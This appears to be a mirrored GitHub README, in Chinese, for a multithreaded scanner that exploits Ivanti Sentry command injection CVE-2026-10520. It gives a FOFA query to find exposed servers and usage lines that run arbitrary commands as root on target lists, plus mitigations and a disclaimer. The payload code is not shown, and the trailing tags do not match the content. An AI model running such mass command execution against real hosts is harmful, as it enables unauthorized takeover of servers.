ogenich/CVE-2026-10520

GitHub: ogenich/CVE-2026-10520

针对 Ivanti Sentry CVE-2026-10520 预认证命令注入漏洞的批量扫描检测工具,支持多线程并发与结构化结果输出。

Stars: 1 | Forks: 0

# CVE-2026-10520 — Ivanti Sentry 批量扫描器 用于检测 [CVE-2026-10520](https://nvd.nist.gov/vuln/detail/CVE-2026-10520)(Ivanti Sentry 中的一个 OS 命令注入漏洞)的扫描工具。 ## 漏洞概述 | 字段 | 值 | |---|---| | **CVE** | CVE-2026-10520 | | **CWE** | CWE-78 (OS 命令注入) | | **严重程度** | 严重 (CVSS 10.0) | | **CVSS 向量** | `CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` | | **受影响版本** | Ivanti Sentry < R10.5.2, < R10.6.2, < R10.7.1 | | **攻击向量** | 网络,无需身份验证 | | **影响** | Root 级别的远程代码执行 | 未经身份验证的远程攻击者可以利用此漏洞,在受影响的 Ivanti Sentry 服务器上以 root 权限注入并执行任意 OS 命令。 ## 侦查 ### FOFA 查询 ``` body="Note: Requires a local Sentry administrative user." ``` ## 扫描器 此工具可跨多个主机执行非破坏性检测扫描,以识别可能存在漏洞的 Ivanti Sentry 实例。 ### 环境要求 - Python 3.8+ ``` pip install -r requirements.txt ``` ### 使用方法 ``` python exploit_poc.py --targets hosts.txt --cmd id --output results ``` #### 目标文件格式 每行一个目标 URL。以 `#` 开头的行将被视为注释,空行将被跳过。如果未提供协议,则默认使用 `https://`。 ``` # 示例 targets.txt 192.168.1.10:8443 https://sentry.example.com 192.168.1.11:8443 ``` #### 选项 | 标志 | 描述 | 默认值 | |---|---|---| | `--targets` | 包含目标 URL 的文件路径(每行一个) | *(必填)* | | `--cmd` | 要运行的检测命令 | `id` | | `--threads` | 最大并发扫描线程数 | `10` | | `--rate-limit` | 每个主机请求之间的延迟秒数 | `0.0` | | `--timeout` | 每个主机的请求超时时间(秒) | `10` | | `-p, --proxy` | 代理地址:端口(例如 `127.0.0.1:8080`) | — | | `--output` | 输出文件的基本名称(CSV + JSON) | — | #### 示例 ``` # 基础扫描 python exploit_poc.py --targets targets.txt # 自定义命令,更高并发 python exploit_poc.py --targets targets.txt --cmd 'uname -a' --threads 20 # 使用代理和输出文件 python exploit_poc.py --targets targets.txt --proxy 127.0.0.1:8080 --output results # 限速扫描 python exploit_poc.py --targets targets.txt --rate-limit 0.5 ``` ### 输出 #### 控制台 显示每个主机的扫描结果及颜色编码的状态: ``` [ VULNERABLE] https://192.168.1.10:8443 HTTP 200 Output: uid=0(root) gid=0(root) ... [NOT VULNERABLE] https://192.168.1.11:8443 HTTP 404 [ ERROR] https://192.168.1.12:8443 HTTP None Error: Connection timed out ``` 最后的汇总信息: ``` ============================================================ SCAN SUMMARY ============================================================ Total scanned : 3 Vulnerable : 1 Not vulnerable : 1 Errors : 1 ============================================================ ``` #### 文件输出 `--output results` 会生成两个文件: - `results.csv` — 结构化的 CSV,包含的列有:`host`、`status`、`http_code`、`command_output_snippet`、`error` - `results.json` — 包含相同对象的结构化 JSON 数组 ### 检测逻辑 当响应同时满足以下两个条件时,该主机将被标记为**存在漏洞 (VULNERABLE)**: 1. 响应正文包含 `Message handled successfully` 2. JSON `data` 字段包含 `...` 提取 `` 内的命令输出文本,并将其包含在结果中。 ## 示例 ![示例](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/04f45ba122232203.png) ## 缓解措施 - 升级至 Ivanti Sentry R10.5.2、R10.6.2 或 R10.7.1 及更高版本 - 立即应用官方提供的安全补丁 - 限制对 Ivanti Sentry 管理界面的网络访问 ## 参考链接 - [WatchTowr 博客:更多证据表明词语的含义并非我们想象的那样 —— Ivanti Sentry 预认证 OS 命令注入 (CVE-2026-10520)](https://labs.watchtowr.com/more-evidence-that-words-dont-mean-what-we-thought-they-meant-ivanti-sentry-pre-auth-os-command-injection-cve-2026-10520) - [watchTowr Labs — watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523](https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523) ## 免责声明 此工具仅供授权的安全测试使用。操作员在进行扫描之前,必须确认已获得目标系统所有者组织的书面许可。未经授权的扫描可能违反相关法律法规。 ## 许可协议 本项目按“原样”提供,用于内部安全评估用途。
标签:Maven, Python, XXE攻击, 加密, 命令注入, 无后门, 漏洞扫描器, 漏洞验证, 逆向工具